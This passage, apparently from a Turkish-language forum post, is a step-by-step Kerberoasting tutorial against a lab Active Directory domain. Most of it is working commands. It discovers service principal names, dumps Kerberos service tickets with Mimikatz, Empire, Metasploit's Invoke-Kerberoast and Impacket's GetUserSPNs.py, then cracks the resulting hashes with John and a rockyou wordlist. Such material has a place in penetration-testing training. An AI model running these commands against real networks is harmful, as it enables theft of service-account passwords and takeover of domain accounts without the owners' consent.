Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts
Yerel makinenize Report.csv'yi indirin.
Report.csv dosyası ana sistemde bulunan SPN'leri listeleyecektir.
SetSPN-SPN Keşif Programı
Başka bir yöntem, ana makineyle uzlaşarak meterpreter oturumu elde edin ve PowerShell'i yükleyin.Etki alanındaki tüm SPN'leri listelemek için setspn programını kullanın.
Kod:
setspn -T ignite -Q */*
Görebileceğiniz gibi yine SQL Hizmeti için SPN'yi keşfettik.
Adım 2:Ayıklama, TGS_ticket Dump'ı ve Hash Elde Edimi
PowerShell komut dosyasını TGSCipher.ps1 " upload edin ve aynı anda istek çıktısını John formatına dönüştürün.
Kod:
Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John
Sonuç olarak, SQL hizmeti için hash dizesini elde ederiz.
Adım 3:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
2.Métasploit Üzerinden Mimikatz
Ana sistemin meterpreter oturumuna sahip olduktan sonra mimikatz.exe'yi upload etmeyi deneyebilirsiniz ve sonra bölüm C Bölüm 1'de açıklanan tüm adımları gerçekleştirin.
Adım 1:SPN Keşfi
Mimikatz'ı indirin, çalıştırın ve SPN keşfi için Kerberos:liste komutunu çalıştırın.
Kod:
./mimikatz.exe
kerberos::list
Adım 2:TGS Biletini Dumplamak
.kirbi uzantısı içeren bileti ayıklanması için export komutunu çalıştırın.
Kod:
kerberos::list /export
Kirbi dosyasını yerel makinenize indirerek cracklenebilir biçime dönüştürün.
Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek
Elde edilen dosyanın adını 1-40a5000 ..kirbi'den raj.kirbi olarak yeniden adlandırdım. Tekrar kirbi2john.py'nin yardımı ile raj.kirbi'yi john formatına dönüştürün, daha sonra yukarıdaki gibi john'u brute force için kullanın.
Kod:
mv "40a5000.....kirbi" "local.kirbi"
/usr/share/john/kirbi2john.py local.kirbi > localhash
john -wordlist=/usr/share/wordlists/rockyou.txt localhash
Yöntem 2owerShell Empire
Adım 1:SPN keşfi,setspn kullanın, yukarıdaki yöntemi izleyin (bu modülde isteğe bağlı)
Adım 2:Ayıklama, TGS_ticket Dump'ı ve Hash Elde Edimi
Empire aracına sahip olduğunuzda,TGS bileti için .kirbi format dosyasını ayıklayacak olan aşağıdaki modülü çalıştırın.
Kod:
usemodule credential/mimikatz/extract_tickets
execute
Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek
tgscrack.py, .kirbi formatını cracklenebilir formata dönüştüren özel bir python komutudur.Buradan indirin ve aşağıdaki komutları çalıştırın.
Kod:
mv [kirbi_file] [new.kirbi]
python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehash
go run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txt
BÖLÜM 4:Uzak Sistemde Yeni Kerberoasting Prosedürü
Yöntem 1owerShell Empire
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Empire/agent'a sahip olduktan sonra, invoke_kerberoast modülünü yükleyin, SPN keşfettiği, bilet ayıkladığı ve hizmet hash'ını TGS şifresinin içinden boşalttığı için harika bir modüldür.
Kod:
usemodule credentials/invoke_kerberoast
execute
Gördüğünüz gibi hizmet hash'ını saniyeler içinde dumpladı.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
Yöntem 2:Métasploit
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Eğer métasploit arayüzünü seviyorsanız, bir meterpreter oturumu aldıktan sonra PowerShell'i yükleyebilir ve kerberoast.ps1 komutunu upload edebilirsiniz.
Kod:
powershell_import /root/powershell/Invoke-kerberoast.ps1
powershell_execute Invoke-Kerberoast
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
Yöntem 3:Impacket
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Impacket dahili modülü GetUSerSPNs.py kullanın.Bu, hizmet hash'ı dumplayan, TGS ayıklayan ve SPN keşfeden bir python komutudur.Aşağıdaki komutun yardımıyla yapılabilir.
Kod:
./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika
Hizmet hash'ını dumplayacaktır.Sözlüğün de yardımıyla hizmet şifrelerini ayıklamak için brute force uygulayabilirsiniz.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
Kod:
john wordlist=/usr/share/wordlists/rockyou.txt hashes
Moderatör tarafında düzenlendi: